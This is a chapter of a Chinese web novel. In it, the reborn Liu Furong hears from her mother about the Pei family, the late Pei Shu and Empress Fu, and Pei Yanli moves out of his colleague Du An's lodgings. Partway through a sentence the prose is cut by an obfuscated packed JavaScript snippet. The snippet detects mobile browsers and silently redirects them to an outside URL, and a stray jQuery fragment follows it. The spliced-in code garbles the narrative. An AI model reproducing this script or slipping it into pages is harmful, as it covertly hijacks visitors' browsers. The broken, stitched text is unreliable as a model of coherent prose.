林昭华笑出了声,到底还是孩子心性:“又是在哪里听的戏本子,还前世今生呢!你就瞧那孟婆肯不肯放过你?”
柳芙蓉反手握住母亲的手,温热的,柔软的。
上一世她没能见到母亲最后一面,却也知母亲在弥留之际肯定也希望见到女儿,可惜……
柳芙蓉垂下眼眸,将说不清的眼泪逼退,后来那只镯子到了裴晏礼手上,想必母亲是认下了他这个女婿了。
还真是冥冥之中都有定数,她收起泪意,扬起笑容,像小时候一般撒娇钻进母亲的怀里,一把搂住她的腰身:“要是真的有就好啦!我下辈子还要做娘的女儿!”
“就你丫头嘴甜。”柳芙蓉毛茸茸的头就躺在林昭华的大腿上,她怜惜地顺顺她的头发,时间过的可真快,一眨眼小姑娘竟长这么大了,都快嫁人了。
“你呀,娘知道你和我一样都是刀子嘴豆腐心,心里喜欢得紧,嘴上偏偏不饶人。”
“娘是怪我对裴大人太凶了?”
林昭华将女儿扶起来,看着她的眼睛。
“纳吉那日,你扬言要去裴府,娘知道你是想帮裴大人讨回公道,但若是真的去了,你让裴家那一家老小如何看待你这个还没成亲的新媳妇?”
柳芙蓉咬咬牙:“不待见我才更好呢!我就搞不懂了,明明裴晏礼是长房嫡子,如今也颇得圣上信任,为何还要这样对他?”她越说越气,“我看那裴家明事理的也只有老夫人一人了!”
林昭华笑着安慰她:“你们成亲后,裴晏礼便会入我们府,一年到头也回去不了几次,人家府内秘辛,越少知道的越好不是吗?”
柳芙蓉叹了口气,心中自然也明白母亲的苦心,可上一世裴晏礼入狱期间,他那二叔可是踩在他的身上往上爬!害得他流落在外伤成那个样子却是有家不能回!
还是怪他那个懦弱爹,被二房打压了这么多年,却还自请外放做官。
“但你务必提醒裴大人万事小心,他如今晋升如此之快,怕有些人要眼红了。”
柳芙蓉手一顿,怕的就是这刑部尚书的位置是他自己谋划来的:“母亲放心,我会转达给他的。”她不想让母亲操心,便迅速换了话题,“我听闻他有个胞弟,在他未回京的那两年便也入过殿试,怎得现在还只是个工部主事?”
主事位居六品,刚入朝时得六品已经很好了,可这偏偏是工部主事。如今天下安定,陛下实行休养生息之策,工部的地位可谓是一降再降。
林昭华眨了眨眼睛,并不打算隐瞒,既然已经选择和裴府结亲,多让芙蓉知道些总没错的。
“其实除了裴宴禾,裴家二房的几个孩子虽说不上像宴礼这样出色,却也算得上有才能的。”林昭华叹叹气,“是坤宁宫里的那位明里暗里的让朝中疏远裴家。”
提到坤宁宫的时候,柳芙蓉下意识一怔,却又记起,此时的坤宁宫里住着的还是傅皇后,也就是刘瑾的发妻,刘睿的生母。
虽说刘瑾如今已是万人朝拜的天子,但后宫却仅有傅皇后一人,而膝下也只有刘睿这一个孩子。
虽说册封太子的诏书迟迟未下,可大家早就默认了刘睿便是入住东宫的那位。
“裴家在京已有百年,在朝中的影响力不输太傅,皇后娘娘为何不选择拉拢反而疏离?”
林昭华摇了摇头:“傅皇后是先帝在时强赐给陛下的,那时陛下还是淮阳王,被下旨留守封地。”
“但此前淮阳王和裴府四小姐早已暗自相许,原本也快要定亲了。”林昭华回忆起当年同刘瑾打仗的时候,他和傅明荣之间从不像普通夫妻那般恩爱,而是比普通人还要恭敬几分。
柳芙蓉难免疑惑,上一世她倒是听刘睿和傅太后提起过刘瑾生前有个难以忘怀的女子,母子俩为此事闹得还挺不愉快,但从未得知她和裴家有什么关系。
“四小姐?那应是裴晏礼的小姑?我只知他只有个二叔,怎么不曾听京中有人提起过?”
“她早就去世了,朝中众人碍着傅皇后,谁便也不提了。”林昭华站起身来,神色凝重:“当时淮阳王为了让先帝放下心中疑虑,只好按照婚期在封地成婚,听说当时裴家为了避嫌,裴老太太也着急让媒人来说亲。”
“后来呢?”
“可惜四小姐忧思过重,竟害了场重病,裴老太太没了法子,便对外宣称她身患重疾,未免连累夫家,此生便在裴府过活。”
柳芙蓉皱着眉:“她是为了先帝给淮阳王赐婚的事儿才一病不起?”
“谁又说得准呢?”林昭华笑笑,语气间尽是惋惜,她虽不在京城中长大,可裴殊在京中才女的名号却是早有耳闻。
“那一年冬,裴殊跟着裴老爷来西南赈灾,却被雪封了路,你的外祖当时还是知州,便将他们一行人留在府中过年。”
林昭华似是回忆起了那段美好的时光,眼中尽是柔光:“明明不过半月的相处,我们却成为了闺中密友,她学富五车是真,月貌花颜也是真,可人人称颂的贤良温柔却是假。”
“明明连枪都拿不起,却一心想跟我父亲学武,我父亲怕把裴府千金伤着碰着便委婉拒绝多次。”林昭华轻笑一声,“于是啊,她便半夜间偷偷来找我。”
柳芙蓉看着母亲笑,自己心情也好起来:“那她倒是误打误撞找对人了,母亲当年可是能把爹爹打趴下的!”
林昭华被女儿逗乐,轻轻敲了敲她的小脑袋瓜:“我当时也说她眼光不错,可就是时间太短,也没教会个什么她便随裴老爷回了京。”
“那后来呢?你们还见过吗?”
林昭华摇了摇头:“我们距离远,身份差距更大,平日里也只能用书信交流,她病重的那段时间总说着想来见见我,可我当时还是个未出阁的姑娘,哪能一个人跑到京城中去见她?”
“现在每每想起便是悔意滔天,若是我知道那是她最后的一段时日,我便是受了家法也是会逃来一趟京城的。”
柳芙蓉握住母亲的手:“这不能怪母亲,生老病死又是谁能说得清的?”她将往事串起来,“所以傅皇后是对裴四小姐怀恨?”
“也许吧,他们夫妻二人相敬如宾,刘睿出生后,陛下便再也没对他们母子上过心。”
“后来征战那几年,环境艰苦又得时刻提防细作,刘睿少时生了场重病,万幸捡了条命回来,那之后傅明荣便也不执着了,带着刘睿彻底和陛下分了院,陛下嘴上虽不说,到底是觉得亏欠了,所以现在也不纳妃,算是给他们母子俩一份心安吧。”
柳芙蓉听得心揪,想怪又不知道怪谁,被迫娶妻的淮阳王没有错,受尽冷落失望的傅皇后也没有错,而与心上人分离早亡的裴殊更是没有错!
要怪就怪那帝心多疑!先帝刘恪无非就是受了高太后的挑唆,觉得淮阳王和裴府结亲会强强联手,若是反了他便皇位不保,可最后刘瑾还不是称了帝,白白害得裴殊丢了性命,害得傅明荣成了怨妇。
她心中一凉,多么相似!
后来的刘睿不也是受庞春奕的挑唆,害怕定国公府和裴晏礼结亲后,他便无法只手遮天控制
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418988|168940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不了朝局,才一架红轿将她抬入宫中!最终害她落得个含恨身死的下场!
林昭华见女儿不知怎的,嘴唇发白,额头上多了一层蒙蒙细汗:“芙蓉,怎么了?可是最近天气转热受了暑气?”
柳芙蓉咽下恨意:“没事,娘,我就是突然感觉头晕。”
“肯定是昨晚没休息好,我就说你今日起这么早定是有古怪,趁着时日还早,你正好回房补个觉,要用午膳了我再传人唤你。”
柳芙蓉也不强撑:“那女儿这便回房了,明日再陪母亲喂鱼。”
林昭华笑着赶她走:“去吧,记得娘的话,对裴大人语气好些。”
她似有些不好意思:“知道了,娘!”她走了两步回头看去,母亲独自望着湖面,不知道是不是错觉,柳芙蓉觉得今日母亲的话并未讲完。
那裴殊听起来也并不像是会为一个男人寻死觅活的样子,怎就会突然忧思至死呢?
纳吉那日,明明父母已经动了怒,却在裴老太太到来之时全都消了气,柳芙蓉甩甩脑子,看来上一世她被封锁在宫中,知道的也不过是片面消息。
---
裴晏礼一早便开始收拾行囊,平日里杜安和他一起住,今日旬休已过,等他起来之时,杜安便已经去了吏部点卯。
所幸他没住多久,行李也不算多,正留好书信准备走时,杜安回来了。
“这么快收拾完了?”杜安官矮裴晏礼半级,算是他遇到的为数不多真诚的同僚。
杜安看到院中小桌上的银票和信,裴晏礼便开口解释:“是,后半个月的租金我也留下了,总不能白白占你便宜。”
杜安佯装愠怒将银票塞回去:“这么见外干什么!你要是这样,我下次见到你这个尚书大人可要官里官腔得给你行大礼了!”
裴晏礼平时本就不善言辞,为人冷清,不通人情世故,愿意和他打交道的人少之又少,见杜安执意便也不好推辞。
“反正我告了半日假,正好送你一程。”杜安不同于裴晏礼一副文弱书生的模样,他虽没他高,却胜在身体壮实,便将裴晏礼的行李抢了过来。
“你刑部那边的房子可找好了?”
“杜兄放心,我已安排妥当。”
“那便好,有空记得过来找我喝酒。”杜安突然想起来,“对了,昨天有个姑娘来找你,你并未同我说去哪了,她问我我也不知,她后来找见你了没?”
裴晏礼下意识反问:“姑娘?”
杜安见他不知道是谁,反应贼大:“莫不是你的什么风流债?你不是将要和定国公府那位结亲了?听闻那柳小姐可不像是会允许你纳妾的人啊!”
显然裴晏礼并不承认这莫须有的“罪名”:“我哪来的什么风流债,况且我裴某娶妻也只一人,今后也不会纳妾。”
话音刚落,他却又想起什么:“你形容下那姑娘长相何样?”
杜安回忆片刻:“戴着个白纱,看不清,但一看就是哪家小姐,身边还跟着随从。”
“随从呢?”还不等杜安说出,“一人左眉处可是有一抹红痕?”
裴晏礼记得在逸韵阁那夜柳芙蓉身边跟着的叫灵雀的丫鬟,那抹红痕一看就是旧伤,很好辨别。
“是!”
裴晏礼得到他肯定的回答后难得露出笑意,语气里竟还有了一丝小骄傲:“杜兄,这位姑娘正是我未来妻子,柳芙蓉。”
杜安看着眼前这个平日里不苟言笑的人现在却是憋都憋不住,不由得感叹,这要娶妻的男人就是不一样啊!